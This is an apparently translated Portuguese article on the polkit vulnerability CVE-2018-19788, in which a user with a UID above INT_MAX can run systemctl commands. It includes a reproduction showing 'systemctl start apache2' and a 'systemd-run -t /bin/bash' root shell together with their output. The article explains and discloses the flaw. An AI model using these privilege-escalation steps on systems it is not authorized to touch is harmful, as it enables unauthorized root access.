Sente-se, tenho notícias que estão chocando você agora ...
Os sistemas operacionais Linux têm uma vulnerabilidade indisfarçável que permite que um usuário com privilégios baixos seja autorizado a executar qualquer comando systemctl (e até se tornar root - aprox. Tradutor) se o seu UID for maior que 2147483647.

A vulnerabilidade descrita, rastreada como CVE-2018-19788, está na biblioteca
PolicyKit (também conhecida como
polkit ) versão 0.115, pré-instalada nas distribuições Linux mais populares, incluindo Red Hat, Debian, Ubuntu e CentOS. O Polkit é uma ferramenta em sistemas do tipo UNIX, usada para definir políticas e fornecer processos privilegiados com acesso privilegiado. Ao contrário do sudo, ele não concede privilégios de administrador ao processo do usuário, mas permite controlar com precisão o que é permitido e o que é proibido.
A vulnerabilidade ocorre devido a um erro na verificação de solicitações de direitos do PolicyKit para qualquer usuário com um UID maior que INT_MAX. Onde INT_MAX é uma constante que armazena o valor máximo de uma variável inteira do tipo número inteiro, que é 2147483647 (em hexadecimal 0x7FFFFFFF).
Portanto, se criarmos uma conta com qualquer UID que exceda INT_MAX, o componente PolicyKit executará com êxito qualquer comando systemctl.
O pesquisador de segurança do Twitter Rich Mirch, que se apresentou como "
0xm1rch "
, lançou uma exploração de
prova de conceito (PoC) para demonstrar com êxito a vulnerabilidade que requer um usuário com um UID de 4.000.000.000.
A Red Hat recomenda que os administradores de sistema não permitam UIDs negativos ou UIDs maiores que 2147483646 para aliviar o problema antes do lançamento do patch.
Vários métodos de operação de um tradutor
A primeira maneira é simplesmente através do systemctl. Criei um usuário com um UID grande e tentei executar o apache2:
1) primeiro verifiquei se ele estava mentindo
$ systemctl status apache2 ● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d └─apache2-systemd.conf Active: inactive (dead)
2) tentou iniciar, mas obteve um erro
$ systemctl start apache2 (process:2820): GLib-GObject-WARNING **: 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
3) mas depois se certificou de que ainda começava
$ systemctl status apache2 ● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d └─apache2-systemd.conf Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE Main PID: 2829 (apache2) Tasks: 55 (limit: 4526) CGroup: /system.slice/apache2.service ├─2829 /usr/sbin/apache2 -k start ├─2830 /usr/sbin/apache2 -k start └─2831 /usr/sbin/apache2 -k start
A segunda maneira é executar o bash no systemd. Executei o seguinte comando, criei um documento de texto na raiz do fs, adicionei uma linha a ele e verifiquei o resultado
$ systemd-run -t /bin/bash (process:3947): GLib-GObject-WARNING **: 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) Running as unit: run-u107.service Press ^] three times within 1s to disconnect TTY. # echo hello > /test.txt # cat /test.txt hello
Ao experimentar meu ubunt, também encontrei esse padrão: se em um usuário com esse UID ir para as configurações da conta, todas as configurações são desbloqueadas, o que permite editar / excluir qualquer usuário.
A questão permanece: como agora “causar” a aparência de um usuário com esse UID no host da vítima, e esse bug é realmente uma ameaça?